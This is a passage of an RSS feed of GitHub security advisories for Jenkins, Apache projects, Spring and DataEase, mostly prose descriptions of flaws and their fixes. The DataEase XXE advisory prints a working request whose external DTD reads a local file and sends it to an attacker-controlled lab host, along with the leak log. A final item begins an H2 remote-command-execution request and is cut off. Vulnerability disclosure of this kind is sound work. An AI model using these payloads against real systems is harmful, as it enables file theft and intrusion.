        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47561&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47561&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/c2v7mhqnmq0jmbwxqq3r5jbj1xg43h5x&quot; rel=&quot;nofollow&quot;&gt;https://lists.apache.org/thread/c2v7mhqnmq0jmbwxqq3r5jbj1xg43h5x&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-r7pg-v2c8-mfg3</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-r7pg-v2c8-mfg3</guid>
      <pubDate>Thu, 03 Oct 2024 12:30:48 GMT</pubDate>
    </item>
    <item>
      <title>Jenkins Credentials plugin reveals encrypted values of credentials to users with Extended Read permission</title>
      <description>&lt;p&gt;Jenkins Credentials Plugin 1380.va_435002fa_924 and earlier, except 1371.1373.v4eb_fa_b_7161e9, does not redact encrypted values of credentials using the &lt;code class=&quot;notranslate&quot;&gt;SecretBytes&lt;/code&gt; type (e.g., Certificate credentials, or Secret file credentials from Plain Credentials Plugin) when accessing item &lt;code class=&quot;notranslate&quot;&gt;config.xml&lt;/code&gt; via REST API or CLI.&lt;/p&gt;
        &lt;p&gt;This allows attackers with Item/Extended Read permission to view encrypted &lt;code class=&quot;notranslate&quot;&gt;SecretBytes&lt;/code&gt; values in credentials.&lt;/p&gt;
        &lt;p&gt;This issue is similar to SECURITY-266 in the 2016-05-11 security advisory, which applied to the &lt;code class=&quot;notranslate&quot;&gt;Secret&lt;/code&gt; type used for inline secrets and some credentials types.&lt;/p&gt;
        &lt;p&gt;Credentials Plugin 1381.v2c3a_12074da_b_ redacts the encrypted values of credentials using the &lt;code class=&quot;notranslate&quot;&gt;SecretBytes&lt;/code&gt; type in item &lt;code class=&quot;notranslate&quot;&gt;config.xml&lt;/code&gt; files.&lt;/p&gt;
        &lt;p&gt;This fix is only effective on Jenkins 2.479 and newer, LTS 2.462.3 and newer. While Credentials Plugin 1381.v2c3a_12074da_b_ can be installed on Jenkins 2.463 through 2.478 (both inclusive), encrypted values of credentials using the &lt;code class=&quot;notranslate&quot;&gt;SecretBytes&lt;/code&gt; type will not be redacted when accessing item &lt;code class=&quot;notranslate&quot;&gt;config.xml&lt;/code&gt; via REST API or CLI.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47805&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47805&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3373&quot; rel=&quot;nofollow&quot;&gt;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3373&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-62jv-j4w7-5hh8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-62jv-j4w7-5hh8</guid>
      <pubDate>Wed, 02 Oct 2024 18:31:32 GMT</pubDate>
    </item>
    <item>
      <title>Jenkins item creation restriction bypass vulnerability</title>
      <description>&lt;p&gt;Jenkins provides APIs for fine-grained control of item creation:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;
        &lt;p&gt;Authorization strategies can prohibit the creation of items of a given type in a given item group (&lt;code class=&quot;notranslate&quot;&gt;ACL#hasCreatePermission2&lt;/code&gt;).&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;Item types can prohibit creation of new instances in a given item group (&lt;code class=&quot;notranslate&quot;&gt;TopLevelItemDescriptor#isApplicableIn(ItemGroup)&lt;/code&gt;).&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;If an attempt is made to create an item of a prohibited type through the Jenkins CLI or the REST API and either of the above checks fail, Jenkins 2.478 and earlier, LTS 2.462.2 and earlier creates the item in memory, only deleting it from disk.&lt;/p&gt;
        &lt;p&gt;This allows attackers with Item/Create permission to bypass these restrictions, creating a temporary item. With Item/Configure permission, they can also save the item to persist it.&lt;/p&gt;
        &lt;p&gt;If an attempt is made to create an item of a prohibited type through the Jenkins CLI or the REST API and either of the above checks fail, Jenkins 2.479, LTS 2.462.3 does not retain the item in memory.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47804&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47804&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3448&quot; rel=&quot;nofollow&quot;&gt;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3448&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f9qj-77q2-h5c5</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f9qj-77q2-h5c5</guid>
      <pubDate>Wed, 02 Oct 2024 18:31:32 GMT</pubDate>
    </item>
    <item>
      <title>Jenkins OpenId Connect Authentication Plugin lacks issuer claim validation</title>
      <description>&lt;p&gt;Jenkins OpenId Connect Authentication Plugin 4.354.v321ce67a_1de8 and earlier does not check the &lt;code class=&quot;notranslate&quot;&gt;iss&lt;/code&gt; (Issuer) claim of an ID Token during its authentication flow, a value that identifies the Originating Party (IdP).&lt;/p&gt;
        &lt;p&gt;This vulnerability may allow attackers to subvert the authentication flow, potentially gaining administrator access to Jenkins.&lt;/p&gt;
        &lt;p&gt;OpenId Connect Authentication Plugin 4.355.v3a_fb_fca_b_96d4 checks the &lt;code class=&quot;notranslate&quot;&gt;iss&lt;/code&gt; (Issuer) claim of an ID Token during its authentication flow when the Issuer is known.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47807&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47807&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3441%20(2)&quot; rel=&quot;nofollow&quot;&gt;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3441%20(2)&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8pjw-fff6-3mjv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8pjw-fff6-3mjv</guid>
      <pubDate>Wed, 02 Oct 2024 18:31:32 GMT</pubDate>
    </item>
    <item>
      <title>Jenkins OpenId Connect Authentication Plugin lacks audience claim validation</title>
      <description>&lt;p&gt;Jenkins OpenId Connect Authentication Plugin 4.354.v321ce67a_1de8 and earlier does not check the &lt;code class=&quot;notranslate&quot;&gt;aud&lt;/code&gt; (Audience) claim of an ID Token during its authentication flow, a value to verify the token is issued for the correct client.&lt;/p&gt;
        &lt;p&gt;This vulnerability may allow attackers to subvert the authentication flow, potentially gaining administrator access to Jenkins.&lt;/p&gt;
        &lt;p&gt;OpenId Connect Authentication Plugin 4.355.v3a_fb_fca_b_96d4 checks the &lt;code class=&quot;notranslate&quot;&gt;aud&lt;/code&gt; (Audience) claim of an ID Token during its authentication flow.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47806&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47806&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3441%20(1)&quot; rel=&quot;nofollow&quot;&gt;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3441%20(1)&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-49hx-9mm2-7675</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-49hx-9mm2-7675</guid>
      <pubDate>Wed, 02 Oct 2024 18:31:32 GMT</pubDate>
    </item>
    <item>
      <title>Jenkins exposes multi-line secrets through error messages</title>
      <description>&lt;p&gt;Jenkins&lt;/p&gt;
        &lt;p&gt;Jenkins provides the &lt;code class=&quot;notranslate&quot;&gt;secretTextarea&lt;/code&gt; form field for multi-line secrets.&lt;/p&gt;
        &lt;p&gt;Jenkins 2.478 and earlier, LTS 2.462.2 and earlier does not redact multi-line secret values in error messages generated for form submissions involving the &lt;code class=&quot;notranslate&quot;&gt;secretTextarea&lt;/code&gt; form field.&lt;/p&gt;
        &lt;p&gt;This can result in exposure of multi-line secrets through those error messages, e.g., in the system log.&lt;/p&gt;
        &lt;p&gt;Jenkins 2.479, LTS 2.462.3 redacts multi-line secret values in error messages generated for form submissions involving the &lt;code class=&quot;notranslate&quot;&gt;secretTextarea&lt;/code&gt; form field.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47803&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47803&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3451&quot; rel=&quot;nofollow&quot;&gt;https://www.jenkins.io/security/advisory/2024-10-02/#SECURITY-3451&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pj95-ph4q-4qm4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pj95-ph4q-4qm4</guid>
      <pubDate>Wed, 02 Oct 2024 18:31:32 GMT</pubDate>
    </item>
    <item>
      <title>Eclipse Glassfish improperly handles http parameters</title>
      <description>&lt;p&gt;In Eclipse Glassfish versions before 7.0.17, the Host HTTP parameter could cause the web application to redirect to the specified URL, when the requested endpoint is &lt;code class=&quot;notranslate&quot;&gt;/management/domain&lt;/code&gt;. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-9329&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-9329&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2473331185&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/eclipse-ee4j/glassfish/issues/25106&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/eclipse-ee4j/glassfish/pull/25106/hovercard&quot; href=&quot;https://github.com/eclipse-ee4j/glassfish/pull/25106&quot;&gt;eclipse-ee4j/glassfish#25106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/232&quot; rel=&quot;nofollow&quot;&gt;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/232&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/eclipse-ee4j/glassfish/commit/6ca35eee2ba90a8108984b27bec33f9cc50cd83b/hovercard&quot; href=&quot;https://github.com/eclipse-ee4j/glassfish/commit/6ca35eee2ba90a8108984b27bec33f9cc50cd83b&quot;&gt;eclipse-ee4j/glassfish@&lt;tt&gt;6ca35ee&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jq3f-mfmg-747x</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jq3f-mfmg-747x</guid>
      <pubDate>Mon, 30 Sep 2024 09:30:47 GMT</pubDate>
    </item>
    <item>
      <title>Deserialization of Untrusted Data vulnerability in Apache Lucene Replicator.</title>
      <description>&lt;p&gt;This issue affects Apache Lucene&#39;s replicator module: from 4.4.0 before 9.12.0.&lt;br&gt;
        The deprecated org.apache.lucene.replicator.http package is affected.&lt;br&gt;
        The org.apache.lucene.replicator.nrt package is not affected.&lt;/p&gt;
        &lt;p&gt;Users are recommended to upgrade to version 9.12.0, which fixes the issue.&lt;/p&gt;
        &lt;p&gt;Java serialization filters (such as&amp;nbsp;-Djdk.serialFilter=&#39;!*&#39; on the commandline) can mitigate the issue on vulnerable versions without impacting functionality.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45772&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45772&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/3f3oph7bqnqspb9q5p0gm5mgc1b6thjo&quot; rel=&quot;nofollow&quot;&gt;https://lists.apache.org/thread/3f3oph7bqnqspb9q5p0gm5mgc1b6thjo&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g643-xq6w-r67c</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g643-xq6w-r67c</guid>
      <pubDate>Mon, 30 Sep 2024 09:30:47 GMT</pubDate>
    </item>
    <item>
      <title>Maven Archetype Plugin: Maven Archetype integration-test may package local settings into the published artifact, possibly containing credentials</title>
      <description>&lt;p&gt;Exposure of Sensitive Information to an Unauthorized Actor, Insecure Storage of Sensitive Information vulnerability in Maven Archetype Plugin.&lt;/p&gt;
        &lt;p&gt;This issue affects Maven Archetype Plugin: from 3.2.1 before 3.3.0.&lt;/p&gt;
        &lt;p&gt;Users are recommended to upgrade to version 3.3.0, which fixes the issue.&lt;/p&gt;
        &lt;p&gt;Archetype integration testing creates a file&lt;br&gt;
        called ./target/classes/archetype-it/archetype-settings.xml&lt;br&gt;
        This file contains all the content from the users ~/.m2/settings.xml file,&lt;br&gt;
        which often contains information they do not want to publish. We expect that on many developer machines, this also contains&lt;br&gt;
        credentials.&lt;/p&gt;
        &lt;p&gt;When the user runs mvn verify again (without a mvn clean), this file becomes part of the final artifact.&lt;/p&gt;
        &lt;p&gt;If a developer were to publish this into Maven Central or any other remote repository (whether as a release or a snapshot) their credentials would be published without them knowing.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47197&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47197&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/ftg81np183wnyk0kg4ks95dvgxdrof96&quot; rel=&quot;nofollow&quot;&gt;https://lists.apache.org/thread/ftg81np183wnyk0kg4ks95dvgxdrof96&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2229915212&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/apache/maven-archetype/issues/188&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/apache/maven-archetype/pull/188/hovercard&quot; href=&quot;https://github.com/apache/maven-archetype/pull/188&quot;&gt;apache/maven-archetype#188&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/apache/maven-archetype/commit/484b6ab946f0d7ce557a3df28615d8c51e500054/hovercard&quot; href=&quot;https://github.com/apache/maven-archetype/commit/484b6ab946f0d7ce557a3df28615d8c51e500054&quot;&gt;apache/maven-archetype@&lt;tt&gt;484b6ab&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://issues.apache.org/jira/browse/ARCHETYPE-657&quot; rel=&quot;nofollow&quot;&gt;https://issues.apache.org/jira/browse/ARCHETYPE-657&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-2qq7-fch2-phqf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-2qq7-fch2-phqf</guid>
      <pubDate>Thu, 26 Sep 2024 09:31:42 GMT</pubDate>
    </item>
    <item>
      <title>Apache Hadoop: Temporary File Local Information Disclosure</title>
      <description>&lt;p&gt;Apache Hadoop’s &lt;code class=&quot;notranslate&quot;&gt;RunJar.run()&lt;/code&gt;&amp;nbsp;does not set permissions for temporary directory&amp;nbsp;by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-23454&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-23454&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://issues.apache.org/jira/browse/HADOOP-19031&quot; rel=&quot;nofollow&quot;&gt;https://issues.apache.org/jira/browse/HADOOP-19031&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/xlo7q8kn4tsjvx059r789oz19hzgfkfs&quot; rel=&quot;nofollow&quot;&gt;https://lists.apache.org/thread/xlo7q8kn4tsjvx059r789oz19hzgfkfs&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/apache/hadoop/commit/8c2836402fbb2f619f1fef4ef625a8542e853a64/hovercard&quot; href=&quot;https://github.com/apache/hadoop/commit/8c2836402fbb2f619f1fef4ef625a8542e853a64&quot;&gt;apache/hadoop@&lt;tt&gt;8c28364&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f5fw-25gw-5m92</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f5fw-25gw-5m92</guid>
      <pubDate>Wed, 25 Sep 2024 09:30:46 GMT</pubDate>
    </item>
    <item>
      <title>Apache Linkis Spark EngineConn: Commons Lang&#39;s RandomStringUtils Random string security vulnerability</title>
      <description>&lt;p&gt;In Apache Linkis &amp;lt;= 1.5.0, a Random string security vulnerability in Spark EngineConn,&amp;nbsp;random string generated by the Token when starting Py4j uses the Commons Lang&#39;s RandomStringUtils.&lt;br&gt;
        Users are recommended to upgrade to version 1.6.0, which fixes this issue.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-39928&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-39928&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/apache/linkis/commit/82c2f4b201b746e9206bb58ef98f536fc333aa07/hovercard&quot; href=&quot;https://github.com/apache/linkis/commit/82c2f4b201b746e9206bb58ef98f536fc333aa07&quot;&gt;apache/linkis@&lt;tt&gt;82c2f4b&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/g664n13nb17rsogcfrn8kjgd8m89p8nw&quot; rel=&quot;nofollow&quot;&gt;https://lists.apache.org/thread/g664n13nb17rsogcfrn8kjgd8m89p8nw&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6gch-63wp-4v5f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6gch-63wp-4v5f</guid>
      <pubDate>Wed, 25 Sep 2024 03:30:35 GMT</pubDate>
    </item>
    <item>
      <title>Spring Framework DoS via conditional HTTP request</title>
      <description>&lt;h3&gt;Description&lt;/h3&gt;
        &lt;p&gt;Applications that parse ETags from &lt;code class=&quot;notranslate&quot;&gt;If-Match&lt;/code&gt; or &lt;code class=&quot;notranslate&quot;&gt;If-None-Match&lt;/code&gt; request headers are vulnerable to DoS attack.&lt;/p&gt;
        &lt;h3&gt;Affected Spring Products and Versions&lt;/h3&gt;
        &lt;p&gt;org.springframework:spring-web in versions&lt;/p&gt;
        &lt;p&gt;6.1.0 through 6.1.11&lt;br&gt;
        6.0.0 through 6.0.22&lt;br&gt;
        5.3.0 through 5.3.37&lt;/p&gt;
        &lt;p&gt;Older, unsupported versions are also affected&lt;/p&gt;
        &lt;h3&gt;Mitigation&lt;/h3&gt;
        &lt;p&gt;Users of affected versions should upgrade to the corresponding fixed version.&lt;br&gt;
        6.1.x -&amp;gt; 6.1.12&lt;br&gt;
        6.0.x -&amp;gt; 6.0.23&lt;br&gt;
        5.3.x -&amp;gt; 5.3.38&lt;br&gt;
        No other mitigation steps are necessary.&lt;/p&gt;
        &lt;p&gt;Users of older, unsupported versions could enforce a size limit on &lt;code class=&quot;notranslate&quot;&gt;If-Match&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;If-None-Match&lt;/code&gt; headers, e.g. through a Filter.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2461347390&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/spring-projects/spring-framework/issues/33372&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/spring-projects/spring-framework/issues/33372/hovercard&quot; href=&quot;https://github.com/spring-projects/spring-framework/issues/33372&quot;&gt;spring-projects/spring-framework#33372&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/spring-projects/spring-framework/commit/582bfccbb72e5c8959a0b472d1dc7d03a20520f3/hovercard&quot; href=&quot;https://github.com/spring-projects/spring-framework/commit/582bfccbb72e5c8959a0b472d1dc7d03a20520f3&quot;&gt;spring-projects/spring-framework@&lt;tt&gt;582bfcc&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/spring-projects/spring-framework/commit/8d16a50907c11f7e6b407d878a26e84eba08a533/hovercard&quot; href=&quot;https://github.com/spring-projects/spring-framework/commit/8d16a50907c11f7e6b407d878a26e84eba08a533&quot;&gt;spring-projects/spring-framework@&lt;tt&gt;8d16a50&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/spring-projects/spring-framework/commit/bb17ad8314b81850a939fd265fb53b3361705e85/hovercard&quot; href=&quot;https://github.com/spring-projects/spring-framework/commit/bb17ad8314b81850a939fd265fb53b3361705e85&quot;&gt;spring-projects/spring-framework@&lt;tt&gt;bb17ad8&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://spring.io/security/cve-2024-38809&quot; rel=&quot;nofollow&quot;&gt;https://spring.io/security/cve-2024-38809&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-38809&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-38809&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-2rmj-mq67-h97g</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-2rmj-mq67-h97g</guid>
      <pubDate>Tue, 24 Sep 2024 18:34:43 GMT</pubDate>
    </item>
    <item>
      <title>DataEase has an XML External Entity Reference vulnerability</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.&lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;send request:&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;POST /de2api/staticResource/upload/1 HTTP/1.1
        Host: dataease.ubuntu20.vm
        Content-Length: 348
        Accept: application/json, text/plain, */*
        out_auth_platform: default
        X-DE-TOKEN: jwt
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn
        ------WebKitFormBoundary6OZBNygiUCAZEbMn
        Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.svg&quot;
        Content-Type: a
        &amp;lt;?xml version=&#39;1.0&#39;?&amp;gt;
        &amp;lt;!DOCTYPE xxe [
        &amp;lt;!ENTITY % EvilDTD SYSTEM &#39;http://10.168.174.1:8000/1.dtd&#39;&amp;gt;
        %EvilDTD;
        %LoadOOBEnt;
        %OOB;
        ]&amp;gt;
        ------WebKitFormBoundary6OZBNygiUCAZEbMn--
        // 1.dtd的内容
        &amp;lt;!ENTITY % resource SYSTEM &quot;file:///etc/alpine-release&quot;&amp;gt;
        &amp;lt;!ENTITY % LoadOOBEnt &quot;&amp;lt;!ENTITY &amp;amp;#x25; OOB SYSTEM &#39;http://10.168.174.1:8000/?content=%resource;&#39;&amp;gt;&quot;&amp;gt;
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ol start=&quot;2&quot;&gt;
        &lt;li&gt;After sending the request, the content of the file /etc/alpine-release is successfully read&lt;/li&gt;
        &lt;/ol&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] &quot;GET /1.dtd HTTP/1.1&quot; 200 -
        ::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] &quot;GET /?content=3.20.0 HTTP/1.1&quot; 200 -
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Affected versions: &amp;lt;= 2.10.0&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The vulnerability has been fixed in v2.10.1.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;It is recommended to upgrade the version to v2.10.1.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;p&gt;If you have any questions or comments about this advisory:&lt;/p&gt;
        &lt;p&gt;Open an issue in &lt;a href=&quot;https://github.com/dataease/dataease&quot;&gt;https://github.com/dataease/dataease&lt;/a&gt;&lt;br&gt;
        Email us at &lt;a href=&quot;mailto:wei@fit2cloud.com&quot;&gt;wei@fit2cloud.com&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-4m9p-7xg6-f4mm&quot; href=&quot;https://github.com/dataease/dataease/security/advisories/GHSA-4m9p-7xg6-f4mm&quot;&gt;GHSA-4m9p-7xg6-f4mm&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-46985&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-46985&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-4m9p-7xg6-f4mm</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-4m9p-7xg6-f4mm</guid>
      <pubDate>Mon, 23 Sep 2024 20:27:22 GMT</pubDate>
    </item>
    <item>
      <title>DataEase&#39;s H2 datasource has a remote command execution risk</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.&lt;/p&gt;
        &lt;p&gt;request message:&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;POST /de2api/datasource/validate HTTP/1.1
        Host: dataease.ubuntu20.vm
        User-Agent: python-requests/2.31.0
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: close
        X-DE-TOKEN: jwt
        Content-Length: 209
        Content-Type: application/json
        {
        &quot;id&quot;: &quot;&quot;,
        &quot;name&quot;: &quot;test&quot;,
        &quot;type&quot;: &quot;h2&quot;,
